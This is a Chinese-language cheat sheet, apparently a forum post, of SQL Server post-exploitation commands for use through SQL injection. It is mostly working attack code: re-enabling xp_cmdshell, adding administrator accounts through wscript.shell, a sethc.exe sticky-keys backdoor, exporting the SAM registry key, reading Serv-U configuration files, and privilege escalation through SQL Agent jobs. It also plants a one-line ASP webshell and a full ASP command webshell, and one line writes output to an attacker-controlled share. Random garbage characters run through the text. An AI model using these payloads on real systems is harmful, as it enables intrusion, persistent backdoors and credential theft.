1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号6 d4 a; L: `- i
恢复方法:查询分离器连接后,
- L$ d3 j. H0 O第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
: l$ }; Q8 {) @ p* e* S第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' ( M# i5 H2 v. e, B
然后按F5键命令执行完毕
' @8 `! u* h$ F; b5 J1 `+ J+ U9 @( c1 ~7 A0 Z' t% z
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)! r$ E3 X0 X9 M. E$ e# W
恢复方法:查询分离器连接后,7 I a% S; c9 ?5 f; J8 \
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"7 W& R6 O1 ]9 K" e) t
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'2 U( H+ U2 J( q. W V
然后按F5键命令执行完毕: L6 w, U: k$ m: | w
) b- d9 S- x/ u% j! B# U3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)7 n, D' ]/ v* v5 T# @- f
恢复方法:查询分离器连接后,
6 x, J& ~3 f7 L/ @$ H第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
: \/ ]3 Y* E' i, ]第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' " x; h7 J0 p% R& z) F2 x" k
然后按F5键命令执行完毕$ ~* x' W3 a G2 L
3 q/ _! J! z) }; D# x
4 终极方法.
% [% O) ]7 l ^/ Q" E如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
$ j/ n2 V6 S! [4 Q+ R查询分离器连接后,2 I' i9 i% X8 f, e8 N9 @
2000servser系统:
3 V v# g+ l D0 P- y. M* ddeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'( n2 o6 R) b$ l0 B3 b" W' }2 v- R! R
' t& o' f6 |+ n) Y, Adeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'( n4 O) k# S1 `% X* e
. f+ J5 u" g, F; d3 oxp或2003server系统:" T3 C: ?, h: T. ~, y, k1 ^1 Q
5 z5 e# t( O, H# u9 F
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
1 L& `8 B- W" J
3 ^# ^/ Y( C1 E. `5 Mdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
, t0 M5 _. @1 ]5 _4 {4 O1 R N6 F6 G( S$ f0 b9 t+ G( K
9 H9 F4 y r* D五个SHIFT! x5 @" r, |7 x' e+ |/ N
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
: J: H5 F5 C& R
2 j7 x1 s0 @0 J" `% V! [declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; 3 l# \" E8 ^9 r/ s
6 D0 H) P& ?( B. d+ J8 ^
xp_cmdshell执行命令另一种方法- l2 Q# s# ?1 t) r8 I
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
0 W( V6 {" W e J3 k2 V" y" Y& A I! b4 U
判断存储扩展是否存在
& c2 o+ {/ j. x+ K; DSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
0 u- S- p9 X+ T& {0 Y% j返回结果为1就OK- f6 Q& W$ q* u, I, G! e0 R
9 ]. ^- N4 Z8 G ?0 X, u8 I9 K2 F7 j! C, L7 z# x2 ?3 ^+ P
上传xplog70.dll恢复xp_cmdshell语句:. V. J/ l; s. Y2 Q+ Y
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
# c8 x$ p9 \* I0 V/ c* O3 \
; {8 s7 F* V7 b否则上传xplog7.0.dll
: w- M7 {+ j+ e" [/ L2 n' ?( GExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'5 m, n& r0 s$ }4 h
# ~6 v: Z$ L1 W6 b5 Y/ _
% M" ^" C8 O) O: X2 x- F; o0 }% ?% J) C* F
首先开启沙盘模式:
9 O$ G3 |+ O2 s4 \exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1' z) a% P z% v! i/ h* q
5 P+ n; n5 ]& I, d- @6 g2 m0 P
然后利用jet.oledb执行系统命令
& ^$ i: L3 U& R. R4 I& uselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
, r1 _" l5 q8 t. a+ E6 \8 s4 {返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了7 e! |/ H$ S3 d% k
0 p$ w" U, Y, J' X2 ]
* P! n4 x1 _, ~! y: U5 |
. f6 J( x. t7 P$ ?9 m7 f恢复过程sp_addextendedproc 如下: 7 c1 j7 z. w/ s8 \3 L
create procedure sp_addextendedproc --- 1996/08/30 20:13 z& j" A* @9 k- c# T3 r' L7 S
@functname nvarchar(517),/* (owner.)name of function to call */ ! t( X7 Y2 F0 Y2 C, F" u* f
@dllname varchar(255)/* name of DLL containing function */
2 T: a: A% J/ O }3 q- {as ' m: o! A6 c4 j2 S% K( q0 U
set implicit_transactions off 1 F" A) |" J3 J6 v
if @@trancount > 0
, k8 P; G* D# ^begin
: r8 A" B- n- V2 q) O2 H+ [raiserror(15002,-1,-1,'sp_addextendedproc')
5 x' D2 L& q5 Q3 R3 q7 G) rreturn (1) 4 D) [$ [4 O" `- j6 o0 b6 i8 O* J
end
. o1 G4 e) }0 Y2 o9 {# X+ h q4 B gdbcc addextendedproc( @functname, @dllname)
/ g7 C' E: z4 w' O! {5 u: s Hreturn (0) -- sp_addextendedproc
6 S& g: J: g5 v4 N# v. F5 KGO # Z% V6 s. W) i- x0 B& \
+ U7 l% b5 t6 g8 j
: S/ x" Y5 ?% M( B+ k( L6 i
, Z3 `9 _+ d6 G& T9 t, H' [- t导出管理员密码文件+ @ M" K# e, p
sa默认可以读sam键.应该。
( l4 T/ W2 n4 o7 J: c& Qreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
- o2 F. V1 T2 K9 |' Wnet user administrator test3 I! x. ^) l5 ?, n& b, H. [# X5 L- G
用administrator登陆.& A) S; k0 [4 `" Q& D8 p% Q
用完机器后
8 O8 Q7 E- h$ v6 Ereg import c:\test.reg; r7 w. k5 s4 T
根本不用克隆.) P1 \9 n0 V% T
找到对应的sid.
( y( Z8 ]% l' p# b$ s7 q
9 A* E3 k9 G7 A, ^8 Z
2 A. U, k3 i! V$ g
+ x5 `9 U, c/ R' R1 ?+ N/ |4 G0 |恢复所有存储过程
; y2 b5 ~. v q& r9 u" puse master
/ ^' H( o& {) h0 U. Xexec sp_addextendedproc xp_enumgroups,'xplog70.dll'
( A0 ~/ z+ r& N/ hexec sp_addextendedproc xp_fixeddrives,'xpstar.dll' " z7 }+ w6 t9 ?" c, ^) W" c" c) E$ Z
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
) N* o' {+ H3 N. [. y! ~exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
9 [7 v1 `; S5 c6 r. k7 ?exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' ! W5 A1 |5 _5 }' V% B$ f8 `
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
2 t3 R3 z. S7 D: Z o. Sexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
. B9 C, e; J- W9 }9 I. texec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
! |& N; m: Z3 Y9 W* M. t# }: |: Wexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 2 u1 ?2 F+ v2 O" k+ {
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' 5 R6 c% O2 a. e: V/ D4 v m
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
% g) y; f( \6 f# i2 N$ Nexec sp_addextendedproc sp_OAStop,'odsole70.dll' 3 F" Y% Z3 Z! H" W/ c- h/ i! [$ H
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
- y' ^) N. W( w6 f8 iexec sp_addextendedproc xp_regdeletekey,'xpstar.dll' R& w( @# g+ I* C
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' 2 ^$ i6 d- [# v
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
2 b! O# Z5 k* D! E5 _: E& F1 kexec sp_addextendedproc xp_regread,'xpstar.dll'
4 B' R% @, c- E2 j! A; K6 fexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' % Q9 Z w9 H8 D3 w# z
exec sp_addextendedproc xp_regwrite,'xpstar.dll' * w E/ r5 X) J& T
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'# E! @1 a& R( M* v" N- x
' Y% z1 a8 T: F4 G2 {5 D* S
! E2 x6 E' J P# o6 a建立读文件的存储过程
- k) D/ B; [$ q. G" n2 i6 h$ HCreate proc sp_readTextFile @filename sysname
# |$ r3 c, c. F0 {7 das' Q2 {4 O4 u; t3 V
! b* {3 v7 l/ p/ J6 h+ W begin
* {: }; w, R6 ?9 v' X set nocount on ' c# J) ^9 r, W. @
Create table #tempfile (line varchar(8000))
9 J! u7 @' l/ o7 M. m8 w exec ('bulk insert #tempfile from "' + @filename + '"')( _+ E1 F3 ?# \; k) ?
select * from #tempfile2 R% G1 i; Q: b4 L5 d" y0 o' Y9 V
drop table #tempfile
8 r1 |( S9 v( E! k: ?+ F; j' QEnd/ R. S% N# _& Z$ D+ f
3 y0 C& _$ Q2 [5 hexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
7 v" T3 H3 J) `+ H3 j2 {1 l- N查看登录用户* R# K$ ?3 u: t5 |! c; Q" X
Select * from sysxlogins* f' V" z6 S! X
) f m+ G: O% @/ a9 Q
把文件内容读取到表中& [! X4 @4 f+ Z) M6 P1 H. f4 B
BULK INSERT tmp from "c:\test.txt"
' v1 \4 G n1 q6 V& K3 L: vdElete from 表名 清理表里的内容$ B. a( A% i. r; V% i+ p4 G
create table b_test(fn nvarchar(4000));建一个表,字段为fn
* \* ?( O! W* m3 W
: r4 R1 k- b4 N
|: t* V8 H( b4 j# M% F: v加sa用户) M0 o7 ~/ G1 {; s5 P
exec master.dbo.sp_addlogin user,pass;
2 }. P8 ~8 s2 J$ x8 nexec master.dbo.sp_addsrvrolemember user,sysadmin/ `, K$ R/ d* o; a' ^6 H
$ ~6 \; l* E1 d* I, ]2 C1 J3 J% o* f" m
+ q/ z s9 [; b8 \" x0 s5 V
读文件代码( N. s' f; g. T8 S
declare @o int, @f int, @t int, @ret int
! `: K5 e/ c! ]- V ^declare @line varchar(8000)' O4 j, N. ^" L$ i6 x* g
exec sp_oacreate 'scripting.filesystemobject', @o out
# n: ^. w5 q- p6 C3 e( Z% L7 B ]+ Pexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
$ o+ |* |8 `6 ~3 X3 h U8 ?) lexec @ret = sp_oamethod @f, 'readline', @line out
/ Q) d7 r- j2 w% w9 vwhile( @ret = 0 )* L' Y/ W# a6 n4 \- b8 V% l& k
begin
) u8 a* e0 U4 E& Z" \7 Yprint @line5 _5 f1 e' `; z
exec @ret = sp_oamethod @f, 'readline', @line out/ A' ]7 p( x/ r' d7 } o' y
end
' T4 Z" Z; B3 u
& Q' v* F/ ^# k$ {' Z& r) `3 O# n
写文件代码:
. G# f% w/ R& g* Q- E4 {declare @o int, @f int, @t int, @ret int
" A }( @1 ?9 h* h3 Mexec sp_oacreate 'scripting.filesystemobject', @o out) [* L+ `, e7 M+ e, d) l
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1! X, m! w- ?# ~7 Q, @" c1 o% \
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
0 d/ k& e2 ?) v0 l$ |1 m% Z1 [+ ?
( @8 b5 I4 y. w
添加lake2 shell! B, p0 }) a+ s
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
4 U$ R( f6 P2 |1 K4 K$ s! A4 qsp_dropextendedproc xp_lake2
& d, O2 i& J; d1 I) gEXEC xp_lake2 'net user'
4 z$ Q4 P! e" H9 o' |0 V9 Z: K* Z) a/ o' S0 W6 X" \) R
8 l. q' L$ I7 s% Y8 w( ^得到硬盘文件信息
8 I# l U$ h8 D( r) F--参数说明:目录名,目录深度,是否显示文件
- O1 @- V( O, w2 Zexecute master..xp_dirtree 'c:' 4 x4 |6 }" C. K4 f) `
execute master..xp_dirtree 'c:',1 0 u6 [9 @/ A( \1 g/ R$ E
execute master..xp_dirtree 'c:',1,1 0 |/ a% E( b9 v8 j+ @4 j7 G9 H$ N
' N4 u2 m( B% ~( C
* i _- I; X/ [' H& B
读serv-u配置信息 h5 o* ^7 ^. a5 p+ g# ^' m7 H
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
8 u; Q4 g, k6 y/ G7 aexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
* [ I6 `) n# `: U
5 q: F% Y: U4 Z, |( E通过xp_regwrite写SHIFT后门. V: v @6 m' Y" `# d
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
5 N3 n, x1 Z0 ?( v4 W& x9 R: L0 N, b1 A7 a# v! k
?/ f( H y9 O$ N2 M
' e8 w& ^! J" v- a找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';2 M* M" i0 p0 f% r
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了. N* H" k" \4 e5 d
( _" V' B- ~* U
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'9 ^0 C8 j. G* J, v& B
& ?- N: e( Q# P0 p8 ~
9 g8 K( b+ t) V3 O" F* N7 b
, r- b3 G4 w( lsql server 2005下开启xp_cmdshell的办法& |$ [6 U/ ^; Y% f
7 d6 A1 _$ H2 D5 ?4 ^ A& z
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
9 F# }, h/ P& M/ ]
/ U8 ?+ R+ ^1 LSQL2005开启'OPENROWSET'支持的方法:" ?. n% A$ ]8 {- ]% L
1 S4 ~5 m% Y; D: s0 N& n
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;; w0 X; n2 j7 L2 e; n/ P, Q
3 U# t4 Y9 h4 O& [1 ]' CSQL2005开启'sp_oacreate'支持的方法:
! U" s4 i1 P# \
) v7 `( `% Z9 E6 a2 R7 Q; Y- U7 Wexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;' Z# m4 ^, Y) K* c+ m
* d) [3 y% g7 r% X; N4 K
4 p; N8 k/ L \ l1 D/ t
5 R c/ `1 `$ C+ K( j4 t
# { i, ~# K+ N9 Q0 F1 }7 F
# y( a7 u1 a R/ o0 y- @: E/ i" p3 @6 y) s8 o
. l# ^1 Y8 k8 M4 P* ^# C6 E; f( E: [! m4 S
& Z, e- a- H! t! F3 ~" s+ e# x
- {; `( v2 T/ w" W
* |6 v6 s6 a( [* x3 v4 l+ J3 c# r. W7 Z: \3 m* U
! \' |/ w0 I* ?& w/ y( N; d) [
8 p4 ~3 H- _( H2 N$ B* s% d
5 e: L x( ]$ _: w
. _# g7 C$ J3 H9 L+ [" m/ h$ c8 G; N/ k2 R! L! I, [+ s
) d w% i4 Y9 d( T
0 d7 j( D5 P$ m3 |/ Q7 E8 v1 x0 i. |. W2 ~0 ?
$ t& B9 e* ?+ M* u# A' P
0 W! ^5 p, \0 C7 l% ~, R' ~ | O+ Y1 n5 ?9 @0 E' p% E4 i% t; {. B
; ], v6 ^$ F( V
以下方面不知道能不能成功暂且留下研究哈:
( ` q! d. b& |3 B; b4)
( e: r2 k; c) x) ]use msdb; --这儿不要是master哟! A" P8 j1 o9 ]' x. ~
exec sp_add_job @job_name= czy82 ;
& ^4 o+ X* f( n! }- [ p. Hexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
; h9 D- u2 v2 ]# `6 ~exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;- ~! e0 D: C" F0 A
exec sp_start_job @job_name= czy82 ;
- _7 K9 D+ g7 F7 M' I7 @) B- Y8 O! Z7 M, J
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
7 r" y3 Q( @' h; J9 T. r% }执行tsql语句了.7 c3 _! P5 w! b2 H4 C+ U
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名$ m7 \5 ]+ F: U: ], U
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)# i# j9 M5 P' Y& K+ m% @
net start SQLSERVERAGENT* [$ {4 e/ c' m
+ t9 Q% T- b" F. |5 `对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的+ }9 R- J# f6 e# T; g' }6 p
USE msdb. C% y8 }7 |4 }9 _5 a2 U- r
EXEC sp_add_job @job_name = GetSystemOnSQL ,/ }2 a# @. B- t' T' D, `# Z3 M, U
@enabled = 1,
9 Q- B* g/ N7 w2 D@description = This will give a low privileged user access to
4 M4 a+ g$ w' j/ x% V' `xp_cmdshell ,: F) {( E6 W6 `
@delete_level = 1
6 O: l+ I2 M, J! A5 f$ g7 h# ?5 r r) \EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
z6 j7 m7 y- Y% G@step_name = Exec my sql ,8 w9 n, J/ _! @
@subsystem = TSQL ,
1 E0 B- \6 M3 e, l@command = exec master..xp_execresultset N select exec$ T! {/ c T }, y5 Z) g
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
! U2 N* s' O# h7 M' k- S. GEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,, x4 `: R1 [" Y: b. M f4 i
@server_name = 你的SQL的服务器名 + |$ f" d {8 g. U6 N2 ^7 M
EXEC sp_start_job @job_name = GetSystemOnSQL / {# `2 H" F$ ]# B
8 f; m ], Z* ]' L' m7 @不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
: M% l% v! ?) C n+ P8 X5 b6 ]才让我们可以以public执行xp_cmdshell
/ V x3 A0 t1 p+ `1 T8 k1 b2 p0 x% S& {. h) c
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
" P# V3 L* _7 p1 p! }% Y' ` `在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=29680 a2 Q/ H# ]! V' f8 p5 h: f
. P- B5 E/ \9 j! x# hUSE msdb7 b! q7 D7 t3 L3 k4 U) }
EXEC sp_add_job @job_name = ArbitraryFilecreate ,0 S2 R% b, h! m- w3 K
@enabled = 1,
3 ~% f. G) _; o( i@description = This will create a file called c:\sqlafc123.txt ,
5 I$ |, e, Q! E5 Q0 T7 y@delete_level = 1
' S* u) ]& j4 n; ?7 b# u- oEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,( T7 j# a- L+ M- u* l
@step_name = SQLAFC ,3 f3 \; A$ G% A- [; z
@subsystem = TSQL ,9 i" Y1 y3 n& V, L+ i
@command = select hello, this file was created by the SQL Agent. ,
5 F" Z/ G3 H7 F' R@output_file_name = c:\sqlafc123.txt $ d( n; G* f; ~# s% e3 k9 W9 j
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
' R: C [) e% z@server_name = SERVER_NAME 1 j ]' X7 @3 B( n$ R
EXEC sp_start_job @job_name = ArbitraryFilecreate
* ]5 Z; [# B" H8 U% L4 C3 t$ s
) o; Z1 M# V( L6 A1 w% s如果subsystem选的是:tsql,在生成的文件的头部有如下内容
6 t' G# E F1 D4 f6 {5 h) l
% `6 F+ I9 x4 r3 S9 z8 {- m+ r??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
. t* u( J+ p0 ~----------------------------------------------: b% e6 _% |6 z5 |/ n
hello, this file was created by the SQL Agent.3 }/ B# f- O" m' [, G& i3 ~
9 F: o1 Y: f: Q6 C2 L v(1 ?????)2 o8 W- K% R4 m* D5 Y) R8 |
( O" J4 c7 Y k: T# f
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员( p" n* v) k7 L- T( i' y2 `
命令的vbs文件到启动目录!
% _" t) ~: H; n+ \2 b$ I# L- K; L8 H
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
1 r: U4 Y& L3 f t, M" q关于sp_MScopyscriptfile 看下面的例子
W9 L1 R: j) O' Q& F+ Zdeclare @command varchar(100) + {. A1 X. `" B1 W- T
declare @scripfile varchar(200) : ^% k4 G1 w' `) n3 k: d* E
set concat_null_yields_null off
0 @- J2 W% B$ ?: g7 e( fselect @command= dir c:\ > "\\attackerip\share\dir.txt"
* b2 B/ {4 u- }' S6 C$ zselect @scripfile= c:\autoexec.bat > nul" | @command | rd "
6 l1 N6 J5 u' v" S- oexec sp_MScopyscriptfile @scripfile , 8 D& i( Z" X- M. J& k
& ?% R$ V1 u1 I5 Q D这两个东东都还在测试试哟
: e) {, ^0 p5 @4 T让MSSQL的public用户得到一个本机的web shell ' D1 h- h4 M" U" r+ [0 c; Z7 k
8 @* B! I; u) M9 x, L1 F5 ^0 h6 Osp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,6 j; u4 ~' c7 N$ @/ u9 z* R+ x( c: M
--@query= select <img src=vbscript:msgbox(now())>
/ m' A& _, _9 e" u4 s, I9 `! Y4 X& M8 a# D--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> * n! @; {) f) J i$ T
@query= select
' s7 ^1 w" E ]$ H9 ^. W* P R<%On Error Resume Next ' q2 G+ F$ V) _" P! I) o' p- m
Set oscript = Server.createObject("wscript.SHELL")
3 s' C, P' o# xSet oscriptNet = Server.createObject("wscript.NETWORK")
% ~$ F9 R, d4 d( h$ g) Y% TSet oFileSys = Server.createObject("scripting.FileSystemObject") 6 [8 u9 f/ K& Z/ ^
szCMD = Request.Form(".CMD")
G4 |) r( L. m. q6 n6 B' CIf (szCMD <>"")Then
: ~7 l! L0 l, M5 ?; Y6 { V6 C, rszTempFile = "C:\" & oFileSys.GetTempName()
, g1 Q1 T @. d, c" WCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
5 }% ^( R, m0 P' x5 }- HSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
7 }" m F d& g& m; S1 ~- REnd If %> 0 @* y# E9 C( k/ b1 s; e
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
9 [6 F3 }+ j2 G/ O( D8 B! j; m<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
. M& J% C0 r+ w</FORM>< RE>
b; f0 m& }/ c) G% b<% If (IsObject(oFile))Then ' S1 R0 v# U6 A
On Error Resume Next
/ f) R9 T3 z2 M) w+ y" eResponse.Write Server.HTMLEncode(oFile.ReadAll) 3 O' O% n6 g* T6 n7 R
oFile.Close
9 E! ?( e# Z' }2 W3 `9 GCall oFileSys.deleteFile(szTempFile, True)
. r( N3 N# P. k6 _* I% i0 UEnd If%>
, Q0 }6 w1 v9 Y$ ~* Z( I</BODY></HTML>
. b( D3 c/ i8 T/ T1 P% H |